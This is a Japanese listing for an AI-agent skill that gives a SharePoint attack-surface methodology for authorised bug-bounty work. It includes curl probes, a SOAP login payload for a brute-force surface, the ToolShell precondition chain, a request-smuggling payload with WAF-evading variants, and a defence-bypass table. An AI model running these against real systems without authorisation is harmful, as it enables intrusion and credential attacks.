mcpField
H
hunt-sharepoint

hunt-sharepoint

github.com/uphiagoセキュリティ1.3k41 回インストール8 週間前に更新
リポジトリ

hunt-sharepoint について

SharePointを対象に、バージョン、匿名エンドポイント、認証経路などの攻撃面を調べるセキュリティスキルです。段階的な調査手順に加え、URL処理をSSRFと誤認しないための注意点も示します。

主な機能

  1. 01SharePointのバージョンを特定
  2. 02匿名エンドポイントを一覧化
  3. 03旧式SOAP認証を確認
  4. 04ToolShellの前提条件を安全に検査
  5. 05NTLMとSafeControlの兆候を検出

活用シーン

  1. 01インターネット公開SharePointファームの評価
  2. 02匿名Forms認証ゾーンの確認
  3. 03旧バージョンのCVE露出状況の調査
  4. 04許可されたテストでSharePointの攻撃面を把握

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-sharepoint

インストール後、Claude Code で/hunt-sharepointを入力して読み込まれたか確認します。

詳細

最重要ターゲット

SharePoint Server(オンプレミス)は、2025~2026年のバグバウンティ/レッドチーム活動において、最も価値の高いエンタープライズ攻撃対象領域の一つです。次の3つの要因が重なっています。

  1. サポート終了後も未修正のコードパス。 SharePoint Server 2013 は、2023-04-11 に延長サポートが終了しました(最終ビルド 15.0.5545.1000/KB5002381)。この日付以降に公開されたすべての SharePoint CVE は、SP2013 ファームでは永久に修正されません。SP2016 は 2026-07-14 に、SP2019 も 2026-07-14 にサポートが終了します(2026年5月時点で、残り2か月)。現在、アクティブサポートの対象となっているのは SP Subscription Edition のみです。
  2. CVE-2025-53770 / 53771「ToolShell」 — SPE/SP2019/SP2016 向けに、2025年7月に緊急の帯域外パッチチェーンが提供されました。脆弱なコードパス(匿名の /_layouts/15/ToolPane.aspx?DisplayMode=Edit +匿名の __REQUESTDIGEST +暗号化されていない ViewState)はSP2013 にも存在し、修正が提供されることはありません。
  3. カスタムブランドのログインページでは、旧式の SOAP ログインが忘れられがちです。 /_vti_bin/Authentication.asmx の Login SOAP 操作は、SharePoint における WordPress XMLRPC バイパスに相当します。多くのファームでは、ブランド化された UI にアカウントロックアウトがあっても、ネイティブの Forms 認証情報をレート制限なしで匿名のまま受け付けます。

最も価値の高い SharePoint ターゲット:

  • 現在もパブリックインターネットに公開されている SP2013 ファーム — 2023年4月以降のすべての CVE が未修正です。重大度の高い調査結果になります。
  • エンタープライズインテグレーターが SharePoint 上に構築したディーラー/パートナー/サプライヤーポータル(ドイツの VW グループ、あるエンタープライズシステムインテグレーターなど)— 影響の大きい業務データがあり、多くの場合、企業の AD ツリー内にネストされています。
  • 匿名の Forms 認証ゾーンを持つ SharePoint ファーム — Authentication.asmx への匿名ブルートフォース攻撃が可能になります。
  • 企業の AD 親フォレスト内にある SharePoint — NTLM Type-2 リーク(hunt-ntlm-info を参照)によって、親フォレストのメンバーシップが漏えいします。
  • Telerik 統合 SharePoint インストール — SharePoint 自体のものに加えて、デシリアライズのシンクが存在します。

最も報奨金につながるアセットの種類: インターネットから到達可能な SP Server(バージョンを問わない)>カスタムソリューションのフックがある SP Online >VPN 侵害後のイントラネット専用 SharePoint


攻撃対象領域のシグナル

レスポンスヘッダーのフィンガープリント(いずれか1つで十分です。通常は複数が同時に見つかります):

SPRequestGuid: <GUID>                           (always — anonymous and authenticated)
X-MS-InvokeApp: 1; RequireReadOnly              (SharePoint web request)
X-SharePointHealthScore: 0                      (SharePoint specific)
SPIisLatency: <ms>                              (SharePoint internal timing)
SPRequestDuration: <ms>                         (SharePoint request duration)
MicrosoftSharePointTeamServices: [REDACTED_IP]      (often stripped by ELB — but if present, exact version)
X-Forms_Based_Auth_Required: <login URL>        (Forms-auth zone indicator)
X-Forms_Based_Auth_Return_Url: <return URL>     (Forms-auth zone indicator)
X-MSDAVEXT_Error: 917656; Access denied...      (WebDAV extension active)
DAV: 1, 2                                       (WebDAV verbs supported)
Set-Cookie: ASP.NET_SessionId=...               (always — IIS session)
Set-Cookie: FedAuth=...; rtFa=...               (claims-mode auth)
Set-Cookie: WSS_FullScreenMode=...              (SharePoint UI mode)

URL/パスのフィンガープリント:

/_layouts/15/                  (SP2013+ layouts root — SP2010 used /_layouts/ without the 15)
/_layouts/14/                  (legacy SP2010 — almost EoL since 2020-10-13)
/_layouts/16/                  (some SP2019 / SPE)
/_vti_bin/                     (FrontPage-RPC + SOAP services)
/_vti_pvt/                     (FrontPage-RPC config — usually 403)
/_vti_inf.html                 (almost always anonymous; contains FPVersion banner)
/_api/                         (modern REST API)
/_api/$metadata                (OData metadata — often anonymous + large)
/_api/contextinfo              (FormDigest issuer — POST only)
/_catalogs/                    (site catalogs: masterpage, wp, lt, theme, solutions)
/_catalogs/users/simple.aspx   (user list — usually 403)
/_layouts/15/start.aspx        (anonymous landing — leaks version)
/_layouts/15/ToolPane.aspx     (web part editor — ToolShell sink)
/_layouts/15/Picker.aspx       (people/list picker — SafeControl recon)
/_layouts/15/download.aspx     (SP-internal file resolver — NOT outbound SSRF)
/_layouts/15/Authenticate.aspx (forms-auth redirector)
/_layouts/15/SignOut.aspx      (logout)
/_layouts/15/error.aspx        (error page — anonymous)
/_layouts/15/AccessDenied.aspx (denied page — anonymous)
/_layouts/15/scriptresx.ashx?culture=en-us&name=core    (resource bundle leak)
/_layouts/15/<Customer>/       (custom-branding modules — see Methodology step 8)
/_vti_bin/Authentication.asmx  (THE legacy login bypass — see hunt-auth-bypass Legacy-Protocol Matrix)
/_vti_bin/SharedAccess.asmx    (often anon-readable)
/_vti_bin/lists.asmx           (auth-required on hardened farms)
/_vti_bin/sites.asmx           (auth-required on hardened farms)
/_vti_bin/sts/                 (Security Token Service — usually 302 to error)
/sites/<name>/                 (site collections)
/personal/<user>/              (MySite / OneDrive-for-Business)

本文のシグナル(HTML レスポンス内):

<meta name="GENERATOR" content="Microsoft SharePoint" />
RegisterSod("...","/_layouts/15/...");                    (Script-on-demand registration)
var g_initUrl='';                                          (start.aspx MDS state)
__REQUESTDIGEST                                            (CSRF token — leaks even to anon if endpoint mis-configured)
__VIEWSTATEENCRYPTED=""                                    (Sign-only ViewState — see hunt-aspnet)
"LibraryVersion":"15.0.X.XXXX"                             (in _api/contextinfo response)
Version:15, webPermMasks:{High:0,Low:                      (in start.aspx body)
HelpWindowKey('WSSEndUser_troubleshooting                  (anonymous error.aspx body)

技術スタックのシグナル:

  • Server: Microsoft-IIS/10.0 + /_layouts/15/ で始まるパス → SharePoint 2013/2016/2019/SE
  • SharePoint の前段にある AWS ELB/ALB → ノード間の ViewState MAC の問題が起こる可能性があります(hunt-aspnet を参照)
  • /_api/web/CurrentUser に対する WWW-Authenticate: NTLM → デュアル認証(Forms + NTLM)。AD トポロジーの情報漏えいには hunt-ntlm-info を使用します。
  • *.test.<customer>.tld → 本番 SharePoint のテスト/ステージング用ミラー。本番データが複製されていることがよくあります。

段階的なハンティング手法

  1. SharePoint のバージョンをフィンガープリントします。 複数のパスから、ビルド番号が匿名で漏えいします。結果を直ちに CVE マトリックスに照合します。

    # Method 1: _vti_inf.html (always anonymous, always present)
    curl --max-time 30 --connect-timeout 10 -sk "https://target.example/_vti_inf.html"
    # → FPVersion="[REDACTED_IP]" (15.x = SP2013, 16.x = SP2016/2019/SE)
    
    # Method 2: _api/contextinfo POST (anonymous on most farms)
    curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.example/_api/contextinfo" \
      -H "Accept: application/json;odata=verbose" \
      | jq -r '.d.GetContextWebInformation.LibraryVersion'
    # → "15.0.5545.1000" (full build number)
    
    # Method 3: /_layouts/15/start.aspx body
    curl --max-time 30 --connect-timeout 10 -sk "https://target.example/_layouts/15/start.aspx" \
      | grep -oE "15\.[0-9]+\.[0-9]+\.[0-9]+|16\.[0-9]+\.[0-9]+\.[0-9]+"
    

    CVE マトリックスとの照合:

    ビルドエディションステータスサポート終了後に未修正の注目 CVE
    15.0.5545.1000SP2013 最終 CUEoL 2023-04-11CVE-2023-29357、CVE-2023-33160/33157/36941、CVE-2024-21318/30043/38023/38024/38094、CVE-2025-53770/53771、CVE-2025-29794
    16.0.10416.xSP2016EoL 2026-07-14パッチレベルによって異なります
    16.0.10417.x+SP2019 / SEアクティブMicrosoft の毎月の Patch Tuesday を確認してください
  2. 匿名エンドポイントのマトリックスを調査します。 以下の表にあるすべてのエンドポイントを一度に確認します。匿名でアクセスできるものはすべて、攻撃チェーンの一部になります。

    /_vti_inf.html                                          → version disclosure
    /_layouts/15/start.aspx                                 → version disclosure + session minting
    /_layouts/15/blank.htm                                  → benign anchor for smuggling probes
    /_layouts/15/error.aspx                                 → request-validator behaviour probe
    /_layouts/15/Authenticate.aspx?Source=                  → redirect-chain behaviour
    /_layouts/15/AccessDenied.aspx?Source=                  → redirect-chain behaviour
    /_layouts/15/SignOut.aspx                               → logout — anonymous OK
    /_layouts/15/closeConnection.aspx                       → anonymous OK
    /_layouts/15/scriptresx.ashx?culture=en-us&name=SP.Res  → 35KB localised strings
    /_layouts/15/scriptresx.ashx?culture=en-us&name=core    → 277KB localised strings
    /_layouts/15/ToolPane.aspx?DisplayMode=Edit             → ToolShell precondition (THIS IS THE BIG ONE)
    /_layouts/15/Picker.aspx                                → SafeControl recon (see step 6)
    /_layouts/15/<CustomerName>/pages/login/customlogin.aspx    → custom Forms login (replace `<CustomerName>` with target's customer name)
    /_vti_bin/Authentication.asmx                           → legacy SOAP login — anonymous brute-force (CRITICAL)
    /_vti_bin/Authentication.asmx?WSDL                      → WSDL — confirms Login + Mode ops
    /_vti_bin/SharedAccess.asmx                             → often anonymous
    /_vti_bin/spsdisco.aspx                                 → SP service discovery
    /_api/contextinfo (POST)                                → anonymous FormDigest mint (HIGH)
    /_api/$metadata                                         → 381KB API surface enumeration
    /_api/Search                                            → search service descriptor
    /_api/web/CurrentUser                                   → 401 anon BUT WWW-Authenticate: NTLM leaks AD info (see hunt-ntlm-info)
    
  3. Authentication.asmx 経由の旧式 SOAP ログインバイパス。 hunt-auth-bypass の Legacy-Protocol Matrix と照合します。標準的なプローブは次のとおりです。

    # First: confirm Mode = Forms (else this attack vector is N/A)
    curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.example/_vti_bin/Authentication.asmx" \
      -H "Content-Type: text/xml; charset=utf-8" \
      -H "SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Mode" \
      -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Mode xmlns="http://schemas.microsoft.com/sharepoint/soap/" /></soap:Body></soap:Envelope>'
    # → <ModeResult>Forms</ModeResult>  ← target is exploitable
    # → <ModeResult>Windows</ModeResult>  ← target uses Windows auth only; this vector N/A
    
    # Then: confirm no rate limit / no lockout (synthetic non-existent users ONLY)
    # Send 10 bursts at "burst-test-synthetic-zzz" with distinct wrong passwords
    # If all 10 return 200 / 431 bytes / uniform timing → confirmed unlimited brute-force surface
    

    重大度: 匿名アクセスが可能で、レート制限もアカウントロックアウトもない場合は Critical です。認証の成功を実証する前でも、バグバウンティに報告してください。問題は「X の認証情報をクラックした」ことではなく、無制限に認証情報を検証できることです。

  4. ToolShell の前提条件チェーンを調査します(CVE-2025-53770 クラス)。3つのサブリクエストを実行します。

    # Sub-step a: anonymous GET on ToolPane.aspx
    curl --max-time 30 --connect-timeout 10 -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit"
    # Body should contain: __REQUESTDIGEST="0x...,..."  AND  __VIEWSTATEENCRYPTED=""
    # If both: precondition stack is anonymous-reachable.
    
    # Sub-step b: anonymous POST to /_api/contextinfo
    curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.example/_api/contextinfo" \
      -H "Accept: application/json;odata=verbose" \
      | jq -r '.d.GetContextWebInformation.FormDigestValue'
    # Should return a valid digest with 1800s validity.
    
    # Sub-step c: anonymous POST to ToolPane.aspx with that digest as X-RequestDigest
    curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \
      -H "X-RequestDigest: <digest from step b>" \
      --data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none"
    # Should return 200 OK — server treats anonymous-with-digest as authorised state-changing POST.
    

    深刻度: EoL の SP2013 ではクリティカルです(パッチが提供されることはありません)。__VIEWSTATEENCRYPTED が空でない場合、SP2016/2019/SE では高です(暗号化された ViewState によりデシリアライズ経路は緩和されますが、前提条件から設定ミスの可能性が依然として示されます)。

    重要: 悪意のある ViewState ペイロードを実際に送信しないでください。前提条件の連鎖だけで報告の根拠として十分です。実際の CVE-2025-53770 の連鎖では、RCE の前提条件として machineKey の取得は不要です。認証バイパス(CVE-2025-49706。ToolPane.aspx への細工した Referer)と安全でないデシリアライズ(CVE-2025-49704)により、machineKey の知識がなくても最初の Web シェルが得られます。その後、その Web シェルによって <machineKey>(ValidationKey/DecryptionKey)がダンプされ、署名済みの __VIEWSTATE を偽造して、永続的な再悪用や認証不要の再悪用に使用されます。つまり、machineKey は最初の RCE と永続化経路で得られる戦利品であり、その前に通過すべき関門ではありません。machineKey が不明だからといって、悪用可能なファームの評価を過小にしないでください。

  5. NTLM Type-2 による AD トポロジーの情報開示。 詳細な手法については hunt-ntlm-info を参照してください。簡易チェック:

    # Use Burp send_http1_request with keep-alive, or Python raw socket
    # Anonymous Type-1 with NetBIOS-info request flag:
    #   Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==
    # Decode the Type-2 challenge → leaks NetBIOS domain, DNS forest, computer name
    

    深刻度: インターネットへの公開とデフォルトの WIN-XXXXXXXXXXX ホスト名が組み合わさる場合は中、それ以外は情報提供レベルです。

  6. Picker.aspx による SafeControl の列挙。 Picker.aspx は、クラスの存在によって 2 種類のエラー状態を区別します。

    • 型が存在するが、許可リストにない場合:"Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site."
    • 型が存在しない場合:"Could not load type '<Class>' from assembly 'Microsoft.SharePoint, Version=[REDACTED_IP], Culture=neutral, PublicKeyToken=71e9bce111e9429c'."

    Microsoft.SharePoint.*.WebControls.* および Microsoft.SharePoint.WebPartPages.* の型のワードリストを与えて、到達可能なクラスを列挙します。このリスト自体が、CVE-2019-0604 ファミリーの攻撃連鎖に向けた偵察情報になります。

    for cls in \
      "Microsoft.SharePoint.WebControls.PeopleEditor" \
      "Microsoft.SharePoint.WebControls.ItemPicker" \
      "Microsoft.SharePoint.WebPartPages.DataFormWebPart" \
      ; do
      curl --max-time 30 --connect-timeout 10 -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$cls")&typeName=System.String" \
        | grep -oE "<title>[^<]+</title>"
    done
    
  7. download.aspx はアウトバウンド SSRF ではありません。認識して、時間を無駄にしないでください。 SP の /_layouts/15/download.aspx?SourceUrl= は、汎用 URL フェッチャーではなく、SP 内部のパスリゾルバーです。動作は次のとおりです。

    • 外部 URL(http://evil.example.com/x)→ "The Web application at <URL> could not be found" とともに 500 を返します。サーバーは SP Web アプリとして解決しようとしましたが、フェッチはしていません。
    • 同一オリジンのファイル URL → "<nativehr>0x81070211</nativehr>...Cannot open file '<path>'" とともに 500 を返します。サーバーは SPFile.OpenBinary を試みましたが、ファイルが見つかりませんでした。
    • 拡張子ブロックリストに該当するファイル(.ashx、.asmx、.svc、.config)→ ファイルの存在にかかわらず、"file blocked from this Web site by the server administrators" とともに 500 を返します。
    • file://、UNC パス、gopher:// など → "Value does not fall within the expected range" とともに 500 を返します。URL スキームのバリデーターによって拒否されています。

    エラーメッセージ内の URL のエコーは、SSRF の確認にはなりません。 報告する前に、Burp Collaborator の OOB で確認してください。(hunt-ssrf の OOB-Or-It-Didn't-Happen Gate を参照。)許可を得たエンゲージメントでネガティブを確認済みです。URL を受け付ける SP パラメーター 12 個以上に対し、Collaborator タグ付きペイロード 38 個を送信しましたが、コールバックは 0 件でした。

    拡張子ブロックリストは「ファイル存在オラクル」のようにも見えます(ファイルの存在時と未検出時で異なる応答が返るように見えます)が、実際には SP のファイル拡張子ポリシーにすぎません。ブロックリストの応答からファイルの存在を推測しないでください。

  8. カスタムブランディングモジュールの列挙。 顧客がカスタマイズした SP インストール環境には、ほぼ必ず /_layouts/15/<CustomerName>/ ディレクトリツリーがあります。ログイン URL から名前を特定します(例:/_layouts/15/<CustomerName>/pages/login/customlogin.aspx → 顧客名は <CustomerName>)。次に、以下をプローブします。

    for sub in pages Pages js Js JS css scripts handlers controls images config data services api; do
      curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code} %{size_download}\n" \
        "https://target.example/_layouts/15/CustomerName/$sub/"
      # 301/302 with auth-redirect = directory exists; 404 = missing; 403 = directory listing blocked but path valid
    done
    

    JS バンドルには、ハードコードされたエンドポイント URL、非表示のルート、内部 API パスが含まれていることがよくあります。適切な Referer ヘッダーを付けて、それぞれを取得してください(Referer による制限があるものもあります)。

  9. 検索サービスのプローブ。 /_api/Search は、認証なしで小さな JSON ディスクリプターを返します。/_api/search/query?querytext='X' は、Search Service Application が実行されていない場合、スタックトレースとともに 500 を返します。これはインフラの情報開示に役立ちますが、直接悪用できるものではありません。

  10. ログイン後の認証済みサーフェス(有効な認証情報がある場合):

    • /_api/web/Lists — リストを列挙
    • /_api/web/SiteUsers — ユーザーを列挙
    • /_api/web/getfolderbyserverrelativeurl('/Shared Documents')/Files — ファイルを列挙
    • /_layouts/15/people.aspx — ユーザー一覧
    • 顧客ブランド独自のモジュール — IDOR、ビジネスロジックを確認
    • ワークフローサービス(/_api/SP.WorkflowServices.*)

ペイロードと検出パターン

Authentication.asmx Login(ブルートフォース攻撃の標準的なエンドポイント):

POST /_vti_bin/Authentication.asmx HTTP/1.1
Host: target.example
Content-Type: text/xml; charset=utf-8
SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Login
Content-Length: 376

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <Login xmlns="http://schemas.microsoft.com/sharepoint/soap/">
      <username>USERNAME</username>
      <password>PASSWORD</password>
    </Login>
  </soap:Body>
</soap:Envelope>

応答コード:

  • <ErrorCode>NoError</ErrorCode> → 認証成功。続けて <CookieName>FedAuth</CookieName> と <TimeoutSeconds>...</TimeoutSeconds> が返されます
  • <ErrorCode>PasswordNotMatch</ErrorCode> → 認証失敗(存在しないユーザーにも同じ応答が返されるため、エラー文字列からユーザーを列挙できません)
  • 500 + <faultstring>Value cannot be null. Parameter name: userName</faultstring> → ユーザー名が空です

ToolShell の前提条件を再現:

# Step 1: anon GET ToolPane.aspx
TP=$(curl --max-time 30 --connect-timeout 10 -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit")
echo "$TP" | grep -oE '__VIEWSTATEENCRYPTED" id="__VIEWSTATEENCRYPTED" value="[^"]*"'
# If value="" → precondition

# Step 2: anon FormDigest
DIGEST=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.example/_api/contextinfo" \
  -H "Accept: application/json;odata=verbose" \
  | jq -r '.d.GetContextWebInformation.FormDigestValue')
echo "Digest: ${DIGEST:0:40}..."

# Step 3: anon POST ToolPane with digest
curl --max-time 30 --connect-timeout 10 -sk -X POST -H "X-RequestDigest: $DIGEST" \
  --data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none" \
  "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \
  -w "\ncode=%{http_code} size=%{size_download}\n"

AWS ELB + SP IIS バックエンドでの HTTP TE.CL スマグリング(AWS ELB の背後にある SP ファームで一貫して発生):

POST /_layouts/15/blank.htm HTTP/1.1
Host: target.example
Content-Length: 4
Transfer-Encoding: chunked

5c
GPOST /404 HTTP/1.1
Host: x
Content-Length: 15

x=1
0

予想されるバックエンドのハング時間:約 12 秒(ベースラインは約 0.16 秒)。難読化のバリエーション(Transfer-Encoding : chunked、transfer-encoding: chunked、末尾の空白、大文字・小文字の混在)でも、同様に約 6 秒のハングが発生します。

Picker.aspx の SafeControl 偵察:

curl --max-time 30 --connect-timeout 10 -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=Microsoft.SharePoint.WebPartPages.DataFormWebPart&typeName=System.String" \
  | grep -oE "<title>[^<]+</title>"
# "Only PickerDialog types..." = exists, not whitelisted
# "Could not load type..."    = does not exist

一般的な根本原因

  1. /_vti_bin/Authentication.asmx がパブリックゾーンの IIS バインドで有効なままになっています。 SharePoint 管理者がカスタムログイン UI でフォーム認証を有効にしても、従来の SOAP Login エンドポイントに個別にアクセスできることに気づいていません。

  2. レイアウトページで viewStateEncryption="Auto" が設定されています。 SharePoint の既定の ViewState モードでは、機密性の高いフォームフィールドを持たないページについては署名のみが行われます。ToolPane.aspx のようなページには __VIEWSTATEENCRYPTED="" があり、machineKey が漏えいした場合に悪用される可能性があります。

  3. /_api/contextinfo への POST が匿名でアクセス可能です。 SharePoint Online と SPE 2024-07 以降では、contextinfo に認証が必要です。それ以前のバージョンや多くの SP2013 ファームでは匿名 POST が許可され、1800 秒間有効な FormDigest トークンが返されます。これは ToolShell の 2 つ目の前提条件です。

  4. パブリックゾーンの IIS バインドで NTLM が有効になっています。 フォーム認証と NTLM を併用する既定の二重認証では、匿名のインターネットユーザーも NTLM Negotiate を利用できます。Type-2 チャレンジから AD トポロジーが漏えいします。

  5. EoL を過ぎた SP2013 ファームが、引き続きインターネットに公開されています。 Microsoft の延長サポートは 2023-04-11 に終了しました。2023 年 4 月以降の SharePoint CVE はすべて未パッチです。エンタープライズインテグレーターの構成(企業親 AD 内のシステムインテグレーター、SI 管理のディーラーポータルなど)でよく見られます。

  6. web.config の <SafeControl> ホワイトリストが唯一の防御として信頼されています。 Picker.aspx では instanceof PickerDialog チェックが行われ、元の CVE-2019-0604 の攻撃ベクトルに対してはパッチが適用されています。しかし、SafeControl の基盤モデル自体は Picker.aspx のエラー差分を通じて匿名で列挙できます。

  7. AWS ELB + SP IIS の構成で、Transfer-Encoding が明示的に正規化されていません。 ELB の既定の動作では Transfer-Encoding がバックエンドの IIS に転送されます。両方のヘッダーがある場合、IIS は ELB とデシンクする形で Content-Length を解釈します。複数の TE 難読化バリエーションにより、単純な WAF ルールを回避できます。

  8. 既定の Windows インストーラーのホスト名(WIN-XXXXXXXXXXX)が変更されていません。 急いでプロビジョニングされた兆候であり、SQL バックエンドの既定のサービスアカウントパスワードや、Central Admin の既定のファームアカウントパスワードなどと相関します。

  9. カスタムブランドのモジュール(/_layouts/15/<Customer>/)の JS バンドルが ?v=YYYYMMDD クエリ文字列付きで読み込まれています。 クエリ文字列から最終更新日がわかるため、「アプリが積極的に保守されている」か「放置されている」かを判断する際に役立ちます。

  10. AWS ELB がセッションアフィニティを 1 台の WFE に固定しない場合、ノード間で ViewState MAC エラーが発生します。 運用上は動作不良(POST のたびにユーザーが 500 エラーに遭遇する)を引き起こします。セキュリティ上は、エラーメッセージからファームのトポロジーが漏えいします。

バイパス手法

防御バイパス/偵察戦略
ロックアウト/CAPTCHA/MFA を備えたブランド仕様の customlogin.aspxレガシー SOAP の /_vti_bin/Authentication.asmx — これらの保護は一切適用されません
WWW-Authenticate: NTLM は認証済みの呼び出し元を要求するIIS の既定値 extendedProtection=None では、匿名で Type-2 チャレンジを引き出せます — hunt-ntlm-info を参照してください
ELB で MicrosoftSharePointTeamServices ヘッダーが削除される/_layouts/15/start.aspx の本文からバージョンが漏えいします。また、/_api/contextinfo の LibraryVersion からも確認できます
/_vti_bin/lists.asmx が 403(SharedAccess.asmx/Authentication.asmx は引き続き開いている)サービスごとに ACL が異なります。すべての asmx を個別に列挙してください
/_api/web/CurrentUser がスタックトレースを含む JSON とともに 401 を返す認証拒否の応答でもスタックトレースが漏えいします。バージョン情報の開示と組み合わせてください
匿名の __REQUESTDIGEST が発行される(ToolShell の前提条件)匿名の ToolPane POST と暗号化されていない ViewState を組み合わせます。逆シリアル化シンクにより、machineKey なしで RCE が可能です — その後、シェルが machineKey をダンプするため、継続的な再悪用が可能になります
カスタムエラーページが設定されている異なるコードパスを発生させます(XML 形式の ViewState によるデュアルパーサーのエラー差分 — hunt-aspnet を参照してください)
WAF がクエリ内の < をブロックするペイロードを Cookie/Referer/SOAP 本文に移します — リクエストバリデーターはこれらのコンテキストに適用されません
SafeControl パッチによって Microsoft.SharePoint.WebPartPages.DataFormWebPart がブロックされるSafeControl リストを列挙し、継承ゲートを回避するサブクラスを見つけます
HTTP/2 H2.CL スマグリングAWS ALB は h2 ALPN を提示しないことがよくあります — openssl s_client -alpn h2,http/1.1 で早期にこの系統を除外してください
Authenticate.aspx が Source= を ReturnUrl でラップする有効な認証情報で認証後の動作をテストしてください。認証前のチェーンではすべて安全にラップされます

ゲート 0 の検証

レポートを作成する前に、次の点を確認してください。

  1. 攻撃者は現時点で何ができますか?

    • Authentication.asmx が匿名で利用でき、レート制限がない → Critical(無制限の認証情報検証が可能。NTLM から得た UPN 形式を使ったパスワードスプレーにより、ATO までの一連の攻撃経路が成立します)
    • ToolShell の前提条件チェーンがすべて成立(匿名 GET + 匿名 FormDigest + 匿名 POST + 暗号化されていない VS)し、SP2013 が EoL → Critical(十分に文書化された公開エクスプロイトチェーンによる RCE。パッチは提供されません)
    • NTLM Type-2 による AD トポロジーの開示 + 既定の Windows ホスト名 → Medium
    • SP2013 の EoL のみ → Medium-Low(コンプライアンス/衛生上の問題。バグバウンティプログラムの対応はさまざまで、受け入れるところもあれば、拒否するところも多くあります)
    • Collaborator コールバックが確認されていない download.aspx の URL エコー → NOT SSRF — 撤回してください
  2. 攻撃者が到達可能な影響まで、チェーン全体を再現しましたか?

    • Authentication.asmx の場合:均一なタイミングで 10 回連続のテストを行えば、レート制限がないことを証明できます。実際に認証情報をクラックしないでください。
    • ToolShell の場合:前提条件チェーン(手順 a+b+c)を確認すれば十分です。悪意のあるペイロードを送信しないでください。
    • NTLM の場合:AD トポロジーのフィールドが確認できる AV ペアのデコードで十分です。
  3. クリーンなシェルから 10 分未満で再現できますか?

    • Authentication.asmx:curl コマンド 2 つ。
    • ToolShell の前提条件:curl コマンド 3 つ。
    • NTLM Type-2:Python スニペット 1 つ(AV ペアデコーダー)。

実際の影響例

シナリオ A — EoL のオンプレミスファームに対する、承認済みの SharePoint エンゲージメント

対象:https://target-portal.example/ — SharePoint Server 2013 ビルド 15.0.5545.1000(KB5002381/2023 年 4 月の最終 EoL CU)。テナントは、企業グローバル AD(customer.parent-corp.example)内のシステムインテグレーターのテナント(スイスの 輸入業者)です。サーバーのホスト名は WIN-XXXXXXXXXXX(Windows インストーラーのデフォルトのパターン)です。

報告した検出事項は 11 件:Critical 3 件、Medium 2 件、Low/Info 6 件です。Critical の 3 件は次のとおりです。

  1. Authentication.asmx の匿名クレデンシャルブルートフォース — 10 回の連続テストで、レート制限、ロックアウト、CAPTCHA、MFA チャレンジがなく、応答時間は一様に 0.6~0.9 秒でした。応答はすべて同一の 431 バイトでした。
  2. HTTP リクエストスマグリング TE.CL — 5 回の試行すべてで、ベースラインの 0.16 秒に対し、バックエンドで 12.18 秒のハングを確認しました。さらに 4 種類の難読化バリアント(コロンの前の空白、末尾の空白、小文字、大文字と小文字の混在)でも 6.16 秒のハングが発生し、いずれも単純な WAF ルールを回避していました。
  3. ToolShell の前提条件チェーン — 匿名 GET ToolPane.aspx(200)+匿名 POST /_api/contextinfo(200、有効な FormDigest)+ダイジェスト付きの匿名 POST ToolPane.aspx(200、認証チャレンジなし)+__VIEWSTATEENCRYPTED=""。EoL の SP2013 に存在する永続的なゼロデイです。

Medium レベルの検出事項には、AD トポロジー全体(customer.parent-corp.example、WIN-XXXXXXXXXXX)の NTLM Type-2 開示と、SP2013 の EoL によるリスクがあります。

シナリオ B — /_layouts/15/download.aspx?SourceUrl= を SSRF ではないと正しく判定(時間を節約した例)

同じ対象です。初回のスキャンでは、サーバーが 500 エラーのタイトルに URL("The Web application at http://oob.example.com/ could not be found")を返したため、download.aspx?SourceUrl=http://oob.example.com/ が SSRF として検出されました。URL を受け付ける 12 個以上の SP パラメーターで、Collaborator タグ付きペイロードを 38 個試しましたが、DNS/HTTP コールバックはありませんでした。結論:download.aspx は SP 内部の SPWebApplication/SPFile リゾルバーであり、汎用 URL フェッチャーではありません。「エコー」はサーバー側でのエラー文字列のフォーマットによるものです。hunt-ssrf の OOB-Or-It-Didn't-Happen Gate に従ったことで、該当性のない検出事項を報告せずに済みました。

シナリオ C — Picker.aspx による CVE-2019-0604 のパッチ検証

同じ対象です。正規の CVE-2019-0604 デシリアライズガジェットである Microsoft.SharePoint.WebPartPages.DataFormWebPart を Picker.aspx に渡すと、"Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site." が返されました。これは、型が存在し、リフレクション経由で到達可能である一方、ダイアログフレームワークの instanceof PickerDialog パッチが正しく拒否していることを意味します。元の CVE-2019-0604 の攻撃ベクトルにはパッチが適用されています。クラスの存在確認自体は、継承ゲートを経由しない、将来の CVE-2019-0604 系チェーンに向けた偵察になります。


相互参照

  • Authentication.asmx のレガシー SOAP ログイン → WordPress-XMLRPC の同等パターンについては、hunt-auth-bypass の Legacy-Protocol Matrix を参照してください。
  • NTLM Type-2 による AD トポロジーの開示 → AV ペアのデコーダーと重大度の判定基準については、hunt-ntlm-info を参照してください。
  • ViewState のデュアルパーサーのアンチパターン、machineKey の復元、リクエストバリデーターの回避 → hunt-aspnet を参照してください。
  • AWS ELB+IIS での HTTP リクエストスマグリング → hunt-http-smuggling を参照してください。
  • SP での SSRF の主張に対する OOB 確認 → hunt-ssrf の OOB-Or-It-Didn't-Happen Gate を参照してください。
